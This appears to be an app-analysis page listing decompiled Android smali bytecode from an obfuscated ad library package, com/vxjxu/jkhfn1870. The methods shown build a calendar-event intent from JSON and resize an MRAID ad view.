254 | return-object v2 | |
255 | catch_150: move-exception v1 | |
257 | invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V | |
258 | goto/16 :goto_14b |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p0, "activity" # Landroid/app/Activity; | |
1 | .param p1, "jsonString" # Ljava/lang/String; | |
2 | .annotation build Landroid/annotation/TargetApi; | |
3 | value = 0xe | |
4 | .end annotation | |
5 | .annotation system Ldalvik/annotation/Throws; | |
6 | value = { | |
7 | Landroid/content/ActivityNotFoundException;, | |
8 | Ljava/lang/Exception; | |
9 | } | |
10 | .end annotation | |
11 | .prologue | |
12 | new-instance v9, Lorg/json/JSONObject; | |
13 | move-object/from16 v0, p1 | |
15 | invoke-direct {v9, v0}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V | |
17 | const-string v18, "id" | |
18 | move-object/from16 v0, v18 | |
20 | invoke-virtual {v9, v0}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
21 | move-result v18 | |
22 | if-eqz v18, :cond_136 | |
24 | const-string v8, "" | |
25 | goto_13: | |
26 | const-string v18, "summary" | |
27 | move-object/from16 v0, v18 | |
29 | invoke-virtual {v9, v0}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
30 | move-result v18 | |
31 | if-eqz v18, :cond_140 | |
33 | const-string v16, "" | |
34 | goto_1f: | |
35 | const-string v18, "location" | |
36 | move-object/from16 v0, v18 | |
38 | invoke-virtual {v9, v0}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
39 | move-result v18 | |
40 | if-eqz v18, :cond_14a | |
42 | const-string v10, "" | |
43 | goto_2b: | |
44 | const-string v18, "description" | |
45 | move-object/from16 v0, v18 | |
47 | invoke-virtual {v9, v0}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
48 | move-result v18 | |
49 | if-eqz v18, :cond_154 | |
51 | const-string v5, "" | |
52 | goto_37: | |
53 | const-string v18, "start" | |
54 | move-object/from16 v0, v18 | |
56 | invoke-virtual {v9, v0}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
57 | move-result v18 | |
58 | if-eqz v18, :cond_15e | |
60 | const-string v14, "" | |
61 | goto_43: | |
62 | const-string v18, "end" | |
63 | move-object/from16 v0, v18 | |
65 | invoke-virtual {v9, v0}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
66 | move-result v18 | |
67 | if-eqz v18, :cond_168 | |
69 | const-string v7, "" | |
70 | goto_4f: | |
71 | const-string v18, "status" | |
72 | move-object/from16 v0, v18 | |
74 | invoke-virtual {v9, v0}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
75 | move-result v18 | |
76 | if-eqz v18, :cond_172 | |
78 | const-string v15, "" | |
79 | goto_5b: | |
80 | const-string v18, "transparency" | |
81 | move-object/from16 v0, v18 | |
83 | invoke-virtual {v9, v0}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
84 | move-result v18 | |
85 | if-eqz v18, :cond_17c | |
87 | const-string v17, "" | |
88 | goto_67: | |
89 | const-string v18, "reminder" | |
90 | move-object/from16 v0, v18 | |
92 | invoke-virtual {v9, v0}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
93 | move-result v18 | |
94 | if-eqz v18, :cond_186 | |
96 | const-string v13, "" | |
97 | goto_73: | |
98 | const-string v18, "recurrence" | |
99 | move-object/from16 v0, v18 | |
101 | invoke-virtual {v9, v0}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
102 | move-result v18 | |
103 | if-eqz v18, :cond_190 | |
105 | const-string v12, "" | |
106 | goto_7f: new-instance v11, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence; | |
108 | invoke-direct {v11, v12}, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;-><init>(Ljava/lang/String;)V | |
109 | new-instance v4, Landroid/content/Intent; | |
111 | const-string v18, "android.intent.action.INSERT" | |
112 | move-object/from16 v0, v18 | |
114 | invoke-direct {v4, v0}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V |
|
116 | const-string v18, "android.intent.action.EDIT" | |
117 | move-object/from16 v0, v18 | |
119 | invoke-virtual {v4, v0}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent; |
|
121 | const-string v18, "vnd.android.cursor.item/event" | |
122 | move-object/from16 v0, v18 | |
124 | invoke-virtual {v4, v0}, Landroid/content/Intent;->setType(Ljava/lang/String;)Landroid/content/Intent; |
|
126 | const-string v18, "calendar_id" | |
127 | move-object/from16 v0, v18 | |
129 | invoke-virtual {v4, v0, v8}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
131 | const-string v18, "title" | |
132 | move-object/from16 v0, v18 | |
133 | move-object/from16 v1, v16 | |
135 | invoke-virtual {v4, v0, v1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
137 | const-string v18, "eventLocation" | |
138 | move-object/from16 v0, v18 | |
140 | invoke-virtual {v4, v0, v10}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
142 | const-string v18, "description" | |
143 | move-object/from16 v0, v18 | |
145 | invoke-virtual {v4, v0, v5}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
147 | const-string v18, "beginTime" | |
149 | invoke-static {v14}, Lcom/vxjxu/jkhfn1870/CalendarEvent;->convertUTC(Ljava/lang/String;)J | |
150 | move-result-wide v20 | |
151 | move-object/from16 v0, v18 | |
152 | move-wide/from16 v1, v20 | |
154 | invoke-virtual {v4, v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;J)Landroid/content/Intent; |
|
156 | const-string v18, "endTime" | |
158 | invoke-static {v7}, Lcom/vxjxu/jkhfn1870/CalendarEvent;->convertUTC(Ljava/lang/String;)J | |
159 | move-result-wide v20 | |
160 | move-object/from16 v0, v18 | |
161 | move-wide/from16 v1, v20 | |
163 | invoke-virtual {v4, v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;J)Landroid/content/Intent; |
|
165 | const-string v18, "eventStatus" | |
166 | move-object/from16 v0, v18 | |
168 | invoke-virtual {v4, v0, v15}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
170 | const-string v18, "transparency" | |
171 | move-object/from16 v0, v18 | |
172 | move-object/from16 v1, v17 | |
174 | invoke-virtual {v4, v0, v1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
176 | const-string v18, "rrule" | |
178 | invoke-virtual {v11}, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->getRrule()Ljava/lang/String; | |
179 | move-result-object v19 | |
180 | move-object/from16 v0, v18 | |
181 | move-object/from16 v1, v19 | |
183 | invoke-virtual {v4, v0, v1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
185 | const-string v18, "exdate" | |
187 | invoke-virtual {v11}, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->getEXdate()Ljava/lang/String; | |
188 | move-result-object v19 | |
189 | move-object/from16 v0, v18 | |
190 | move-object/from16 v1, v19 | |
192 | invoke-virtual {v4, v0, v1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
193 | if-eqz v13, :cond_12c | |
194 | try_start_ff: | |
195 | const-string v18, "" | |
196 | move-object/from16 v0, v18 | |
198 | invoke-virtual {v13, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
199 | move-result v18 | |
200 | if-nez v18, :cond_12c | |
202 | const-string v18, "event_id" | |
203 | move-object/from16 v0, v18 | |
205 | invoke-virtual {v4, v0, v8}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
207 | const-string v18, "method" | |
208 | const/16 v19, 0x0 | |
209 | move-object/from16 v0, v18 | |
210 | move/from16 v1, v19 | |
212 | invoke-virtual {v4, v0, v1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;I)Landroid/content/Intent; |
|
214 | const-string v18, "-" | |
215 | move-object/from16 v0, v18 | |
217 | invoke-virtual {v13, v0}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z |
|
218 | move-result v18 | |
219 | if-eqz v18, :cond_19a | |
221 | const-string v18, "minutes" | |
222 | move-object/from16 v0, v18 | |
224 | invoke-virtual {v4, v0, v13}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
225 | try_end_12c: const/16 v18, 0x7 | |
226 | move-object/from16 v0, p0 | |
227 | move/from16 v1, v18 | |
229 | invoke-virtual {v0, v4, v1}, Landroid/app/Activity;->startActivityForResult(Landroid/content/Intent;I)V |
|
230 | return-void | |
231 | cond_136: | |
232 | const-string v18, "id" | |
233 | move-object/from16 v0, v18 | |
235 | invoke-virtual {v9, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
236 | move-result-object v8 | |
237 | goto/16 :goto_13 | |
238 | cond_140: | |
239 | const-string v18, "summary" | |
240 | move-object/from16 v0, v18 | |
242 | invoke-virtual {v9, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
243 | move-result-object v16 | |
244 | goto/16 :goto_1f | |
245 | cond_14a: | |
246 | const-string v18, "location" | |
247 | move-object/from16 v0, v18 | |
249 | invoke-virtual {v9, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
250 | move-result-object v10 | |
251 | goto/16 :goto_2b | |
252 | cond_154: | |
253 | const-string v18, "description" | |
254 | move-object/from16 v0, v18 | |
256 | invoke-virtual {v9, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
257 | move-result-object v5 | |
258 | goto/16 :goto_37 | |
259 | cond_15e: | |
260 | const-string v18, "start" | |
261 | move-object/from16 v0, v18 | |
263 | invoke-virtual {v9, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
264 | move-result-object v14 | |
265 | goto/16 :goto_43 | |
266 | cond_168: | |
267 | const-string v18, "end" | |
268 | move-object/from16 v0, v18 | |
270 | invoke-virtual {v9, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
271 | move-result-object v7 | |
272 | goto/16 :goto_4f | |
273 | cond_172: | |
274 | const-string v18, "status" | |
275 | move-object/from16 v0, v18 | |
277 | invoke-virtual {v9, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
278 | move-result-object v15 | |
279 | goto/16 :goto_5b | |
280 | cond_17c: | |
281 | const-string v18, "transparency" | |
282 | move-object/from16 v0, v18 | |
284 | invoke-virtual {v9, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
285 | move-result-object v17 | |
286 | goto/16 :goto_67 | |
287 | cond_186: | |
288 | const-string v18, "reminder" | |
289 | move-object/from16 v0, v18 | |
291 | invoke-virtual {v9, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
292 | move-result-object v13 | |
293 | goto/16 :goto_73 | |
294 | cond_190: | |
295 | const-string v18, "recurrence" | |
296 | move-object/from16 v0, v18 | |
298 | invoke-virtual {v9, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
299 | move-result-object v12 | |
300 | goto/16 :goto_7f | |
301 | try_start_19a: | |
302 | const-string v18, "minutes" | |
304 | invoke-static {v13}, Lcom/vxjxu/jkhfn1870/CalendarEvent;->convertUTC(Ljava/lang/String;)J | |
305 | move-result-wide v20 | |
306 | move-object/from16 v0, v18 | |
307 | move-wide/from16 v1, v20 | |
309 | invoke-virtual {v4, v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;J)Landroid/content/Intent; |
|
310 | try_end_1a7: goto/16 :goto_12c | |
311 | catch_1a8: move-exception v6 | |
313 | invoke-virtual {v6}, Ljava/lang/Exception;->printStackTrace()V | |
314 | goto/16 :goto_12c |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | move-object/from16 v0, p0 | |
3 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->displayMetrics:Landroid/util/DisplayMetrics; | |
4 | move-object/from16 v21, v0 | |
5 | move-object/from16 v0, v21 | |
6 | iget v0, v0, Landroid/util/DisplayMetrics;->widthPixels:I | |
7 | move/from16 v20, v0 | |
8 | move-object/from16 v0, p0 | |
10 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->displayMetrics:Landroid/util/DisplayMetrics; | |
11 | move-object/from16 v21, v0 | |
12 | move-object/from16 v0, v21 | |
13 | iget v11, v0, Landroid/util/DisplayMetrics;->heightPixels:I | |
14 | const/16 v16, 0x0 | |
15 | const/16 v17, 0x0 | |
16 | const/4 v4, 0x1 | |
17 | const/16 v5, 0x35 | |
18 | try_start_1d: | |
19 | invoke-virtual/range {p0 .. p0}, Lcom/vxjxu/jkhfn1870/MraidView;->clearView()V | |
20 | move-object/from16 v0, p0 | |
22 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->mraidAdUtil:Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil; | |
23 | move-object/from16 v21, v0 | |
24 | if-eqz v21, :cond_b0 | |
25 | move-object/from16 v0, p0 | |
27 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->mraidAdUtil:Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil; | |
28 | move-object/from16 v21, v0 | |
30 | invoke-virtual/range {v21 .. v21}, Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;->getResizeProperties()Ljava/lang/String; | |
31 | move-result-object v21 | |
33 | const-string v22, "" | |
35 | invoke-virtual/range {v21 .. v22}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
36 | try_end_37: move-result v21 | |
37 | if-nez v21, :cond_b0 | |
38 | try_start_3a: new-instance v13, Lorg/json/JSONObject; | |
39 | move-object/from16 v0, p0 | |
41 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->mraidAdUtil:Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil; | |
42 | move-object/from16 v21, v0 | |
44 | invoke-virtual/range {v21 .. v21}, Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;->getResizeProperties()Ljava/lang/String; | |
45 | move-result-object v21 | |
46 | move-object/from16 v0, v21 | |
48 | invoke-direct {v13, v0}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V | |
50 | const-string v21, "width" | |
51 | move-object/from16 v0, v21 | |
53 | invoke-virtual {v13, v0}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
54 | move-result v21 | |
55 | if-eqz v21, :cond_221 | |
56 | move-object/from16 v0, p0 | |
58 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->displayMetrics:Landroid/util/DisplayMetrics; | |
59 | move-object/from16 v21, v0 | |
60 | move-object/from16 v0, v21 | |
61 | iget v0, v0, Landroid/util/DisplayMetrics;->widthPixels:I | |
62 | move/from16 v20, v0 | |
63 | goto_61: | |
64 | const-string v21, "height" | |
65 | move-object/from16 v0, v21 | |
67 | invoke-virtual {v13, v0}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
68 | move-result v21 | |
69 | if-eqz v21, :cond_23d | |
70 | move-object/from16 v0, p0 | |
72 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->displayMetrics:Landroid/util/DisplayMetrics; | |
73 | move-object/from16 v21, v0 | |
74 | move-object/from16 v0, v21 | |
75 | iget v11, v0, Landroid/util/DisplayMetrics;->heightPixels:I | |
76 | goto_75: | |
77 | const-string v21, "customClosePosition" | |
78 | move-object/from16 v0, v21 | |
80 | invoke-virtual {v13, v0}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
81 | move-result v21 | |
82 | if-eqz v21, :cond_257 | |
84 | const-string v9, "top-right" | |
85 | goto_81: | |
86 | const-string v21, "offsetX" | |
87 | move-object/from16 v0, v21 | |
89 | invoke-virtual {v13, v0}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
90 | move-result v21 | |
91 | if-eqz v21, :cond_261 | |
92 | const/16 v16, 0x0 | |
93 | goto_8d: | |
94 | const-string v21, "offsetY" | |
95 | move-object/from16 v0, v21 | |
97 | invoke-virtual {v13, v0}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
98 | move-result v21 | |
99 | if-eqz v21, :cond_26b | |
100 | const/16 v17, 0x0 | |
101 | goto_99: | |
102 | const-string v21, "allowOffscreen" | |
103 | move-object/from16 v0, v21 | |
105 | invoke-virtual {v13, v0}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
106 | move-result v21 | |
107 | if-eqz v21, :cond_275 | |
108 | const/4 v4, 0x1 | |
109 | goto_a4: move-object/from16 v0, p0 | |
111 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->mraidAdUtil:Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil; | |
112 | move-object/from16 v21, v0 | |
113 | move-object/from16 v0, v21 | |
115 | invoke-virtual {v0, v9}, Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;->getGravity(Ljava/lang/String;)I | |
116 | try_end_af: move-result v5 | |
117 | cond_b0: if-nez v4, :cond_c2 | |
118 | try_start_b2: move-object/from16 v0, p0 | |
119 | move/from16 v1, v20 | |
121 | invoke-direct {v0, v1, v11}, Lcom/vxjxu/jkhfn1870/MraidView;->checkSizeParams(II)[I | |
122 | move-result-object v19 | |
123 | const/16 v21, 0x0 | |
124 | aget v20, v19, v21 | |
125 | const/16 v21, 0x1 | |
126 | aget v11, v19, v21 | |
127 | cond_c2: | |
128 | invoke-virtual/range {p0 .. p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getRootView()Landroid/view/View; | |
129 | move-result-object v21 | |
130 | const v22, 0x1020002 | |
132 | invoke-virtual/range {v21 .. v22}, Landroid/view/View;->findViewById(I)Landroid/view/View; |
|
133 | move-result-object v7 | |
134 | check-cast v7, Landroid/widget/FrameLayout; | |
135 | new-instance v3, Landroid/widget/FrameLayout$LayoutParams; | |
136 | move/from16 v0, v20 | |
138 | invoke-direct {v3, v0, v11}, Landroid/widget/FrameLayout$LayoutParams;-><init>(II)V | |
139 | new-instance v18, Landroid/view/View; | |
141 | invoke-virtual/range {p0 .. p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
142 | move-result-object v21 | |
143 | move-object/from16 v0, v18 | |
144 | move-object/from16 v1, v21 | |
146 | invoke-direct {v0, v1}, Landroid/view/View;-><init>(Landroid/content/Context;)V | |
148 | invoke-virtual/range {p0 .. p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams; | |
149 | move-result-object v21 | |
150 | move-object/from16 v0, v18 | |
151 | move-object/from16 v1, v21 | |
153 | invoke-virtual {v0, v1}, Landroid/view/View;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V | |
154 | new-instance v21, Landroid/widget/FrameLayout; | |
156 | invoke-virtual/range {p0 .. p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
157 | move-result-object v22 | |
159 | invoke-direct/range {v21 .. v22}, Landroid/widget/FrameLayout;-><init>(Landroid/content/Context;)V | |
160 | move-object/from16 v0, v21 | |
161 | move-object/from16 v1, p0 | |
162 | iput-object v0, v1, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout; | |
163 | new-instance v14, Landroid/widget/FrameLayout$LayoutParams; | |
164 | move/from16 v0, v20 | |
166 | invoke-direct {v14, v0, v11}, Landroid/widget/FrameLayout$LayoutParams;-><init>(II)V | |
167 | move/from16 v0, v16 | |
168 | iput v0, v14, Landroid/widget/FrameLayout$LayoutParams;->leftMargin:I | |
169 | move/from16 v0, v17 | |
170 | iput v0, v14, Landroid/widget/FrameLayout$LayoutParams;->topMargin:I | |
171 | move-object/from16 v0, p0 | |
173 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout; | |
174 | move-object/from16 v21, v0 | |
175 | move-object/from16 v0, v21 | |
177 | invoke-virtual {v0, v14}, Landroid/widget/FrameLayout;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V | |
179 | invoke-virtual/range {p0 .. p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getParent()Landroid/view/ViewParent; | |
180 | move-result-object v21 | |
181 | check-cast v21, Landroid/view/ViewGroup; | |
182 | move-object/from16 v0, v21 | |
183 | move-object/from16 v1, p0 | |
184 | iput-object v0, v1, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup; | |
185 | const/4 v12, 0x0 | |
186 | move-object/from16 v0, p0 | |
188 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup; | |
189 | move-object/from16 v21, v0 | |
190 | if-eqz v21, :cond_1f0 | |
191 | move-object/from16 v0, p0 | |
193 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup; | |
194 | move-object/from16 v21, v0 | |
196 | invoke-virtual/range {v21 .. v21}, Landroid/view/ViewGroup;->getChildCount()I | |
197 | move-result v8 | |
198 | const/4 v12, 0x0 | |
199 | goto_137: if-ge v12, v8, :cond_14b | |
200 | move-object/from16 v0, p0 | |
202 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup; | |
203 | move-object/from16 v21, v0 | |
204 | move-object/from16 v0, v21 | |
206 | invoke-virtual {v0, v12}, Landroid/view/ViewGroup;->getChildAt(I)Landroid/view/View; |
|
207 | move-result-object v21 | |
208 | move-object/from16 v0, v21 | |
209 | move-object/from16 v1, p0 | |
210 | if-ne v0, v1, :cond_2b3 | |
211 | cond_14b: move-object/from16 v0, p0 | |
212 | iput v12, v0, Lcom/vxjxu/jkhfn1870/MraidView;->viewIndex:I | |
213 | move-object/from16 v0, p0 | |
215 | invoke-virtual {v0, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V | |
216 | move-object/from16 v0, p0 | |
218 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup; | |
219 | move-object/from16 v21, v0 | |
220 | move-object/from16 v0, v21 | |
221 | move-object/from16 v1, p0 | |
223 | invoke-virtual {v0, v1}, Landroid/view/ViewGroup;->removeView(Landroid/view/View;)V | |
224 | move-object/from16 v0, p0 | |
226 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout; | |
227 | move-object/from16 v21, v0 | |
228 | move-object/from16 v0, v21 | |
229 | move-object/from16 v1, p0 | |
231 | invoke-virtual {v0, v1}, Landroid/widget/FrameLayout;->addView(Landroid/view/View;)V | |
232 | try_start_16e: new-instance v15, Landroid/widget/LinearLayout; | |
234 | invoke-virtual/range {p0 .. p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
235 | move-result-object v21 | |
236 | move-object/from16 v0, v21 | |
238 | invoke-direct {v15, v0}, Landroid/widget/LinearLayout;-><init>(Landroid/content/Context;)V | |
239 | new-instance v6, Landroid/widget/FrameLayout$LayoutParams; | |
240 | move-object/from16 v0, p0 | |
241 | iget v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->scale:F | |
242 | move/from16 v21, v0 | |
243 | const/high16 v22, 0x42480000 # 50.0f | |
244 | mul-float v21, v21, v22 | |
245 | move/from16 v0, v21 | |
246 | float-to-int v0, v0 | |
247 | move/from16 v21, v0 | |
248 | move-object/from16 v0, p0 | |
249 | iget v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->scale:F | |
250 | move/from16 v22, v0 | |
251 | const/high16 v23, 0x42480000 # 50.0f | |
252 | mul-float v22, v22, v23 | |
253 | move/from16 v0, v22 | |
254 | float-to-int v0, v0 | |
255 | move/from16 v22, v0 | |
256 | move/from16 v0, v21 | |
257 | move/from16 v1, v22 | |
259 | invoke-direct {v6, v0, v1}, Landroid/widget/FrameLayout$LayoutParams;-><init>(II)V | |
260 | iput v5, v6, Landroid/widget/FrameLayout$LayoutParams;->gravity:I | |
262 | invoke-virtual {v15, v6}, Landroid/widget/LinearLayout;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V | |
264 | invoke-virtual {v15, v5}, Landroid/widget/LinearLayout;->setGravity(I)V | |
265 | move-object/from16 v0, p0 | |
267 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout; | |
268 | move-object/from16 v21, v0 | |
269 | move-object/from16 v0, v21 | |
271 | invoke-virtual {v0, v15}, Landroid/widget/FrameLayout;->addView(Landroid/view/View;)V | |
272 | goto_1b3: move-object/from16 v0, p0 | |
274 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout; | |
275 | move-object/from16 v21, v0 | |
276 | move-object/from16 v0, v21 | |
278 | invoke-virtual {v7, v0}, Landroid/widget/FrameLayout;->addView(Landroid/view/View;)V | |
279 | move-object/from16 v0, p0 | |
281 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup; | |
282 | move-object/from16 v21, v0 | |
283 | move-object/from16 v0, p0 | |
284 | iget v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->viewIndex:I | |
285 | move/from16 v22, v0 | |
286 | move-object/from16 v0, v21 | |
287 | move-object/from16 v1, v18 | |
288 | move/from16 v2, v22 | |
290 | invoke-virtual {v0, v1, v2}, Landroid/view/ViewGroup;->addView(Landroid/view/View;I)V | |
291 | move-object/from16 v0, p0 | |
293 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup; | |
294 | move-object/from16 v21, v0 | |
295 | const/16 v22, 0x8 | |
297 | invoke-virtual/range {v21 .. v22}, Landroid/view/ViewGroup;->setVisibility(I)V |
|
299 | const-string v21, "resized" | |
300 | move-object/from16 v0, p0 | |
301 | move-object/from16 v1, v21 | |
303 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->setState(Ljava/lang/String;)V |
|
305 | const-string v21, "sizeChange" | |
306 | move-object/from16 v0, p0 | |
307 | move-object/from16 v1, v21 | |
309 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerEvent(Ljava/lang/String;)V |
|
310 | cond_1f0: move-object/from16 v0, p0 | |
312 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
313 | move-object/from16 v21, v0 | |
314 | if-eqz v21, :cond_201 | |
315 | move-object/from16 v0, p0 | |
317 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
318 | move-object/from16 v21, v0 | |
320 | invoke-interface/range {v21 .. v21}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onAdExpandedListner()V | |
321 | cond_201: move-object/from16 v0, p0 | |
323 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->adView:Lcom/vxjxu/jkhfn1870/AdView; | |
324 | move-object/from16 v21, v0 | |
325 | if-eqz v21, :cond_217 | |
326 | move-object/from16 v0, p0 | |
328 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->adView:Lcom/vxjxu/jkhfn1870/AdView; | |
329 | move-object/from16 v21, v0 | |
330 | const/16 v22, 0x0 | |
331 | move/from16 v0, v22 | |
332 | move-object/from16 v1, v21 | |
333 | iput-boolean v0, v1, Lcom/vxjxu/jkhfn1870/AdView;->canFetchAd:Z | |
334 | cond_217: | |
335 | const-string v21, "95" | |
336 | move-object/from16 v0, p0 | |
337 | move-object/from16 v1, v21 | |
339 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V |
|
340 | goto_220: return-void | |
341 | try_start_221: | |
342 | const-string v21, "width" | |
343 | move-object/from16 v0, v21 | |
345 | invoke-virtual {v13, v0}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I |
|
346 | move-result v21 | |
347 | move/from16 v0, v21 | |
348 | int-to-float v0, v0 | |
349 | move/from16 v21, v0 | |
351 | invoke-virtual/range {p0 .. p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
352 | move-result-object v22 | |
354 | invoke-static/range {v21 .. v22}, Lcom/vxjxu/jkhfn1870/Util;->convertDpToPixel(FLandroid/content/Context;)F | |
355 | move-result v21 | |
356 | move/from16 v0, v21 | |
357 | float-to-int v0, v0 | |
